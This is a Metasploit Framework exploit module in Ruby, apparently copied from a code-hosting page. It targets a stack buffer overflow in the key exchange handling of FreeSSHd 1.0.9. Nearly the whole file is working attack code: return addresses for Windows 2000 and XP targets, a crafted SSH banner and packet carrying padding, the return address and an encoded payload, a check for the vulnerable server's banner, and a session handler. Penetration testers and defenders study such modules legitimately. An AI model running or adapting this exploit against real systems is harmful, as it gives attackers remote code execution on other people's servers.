88 lines
2.2 KiB
Ruby
88 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Ssh::Freesshd_key_exchange < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
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'Description' => %q{
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This module exploits a simple stack overflow in FreeSSHd 1.0.9.
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This flaw is due to a buffer overflow error when handling a specially
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crafted key exchange algorithm string received from an SSH client.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['BID', '17958'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
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[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ],
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[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'May 12 2006',
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(22) ], self.class)
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end
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def exploit
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connect
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sploit = "SSH-2.0-OpenSSH_3.9p1"
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sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
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sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
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sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
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sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
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res = sock.recv(22)
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if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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else
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print_status("Not running a vulnerable version...")
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end
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handler
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disconnect
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end
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end
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end
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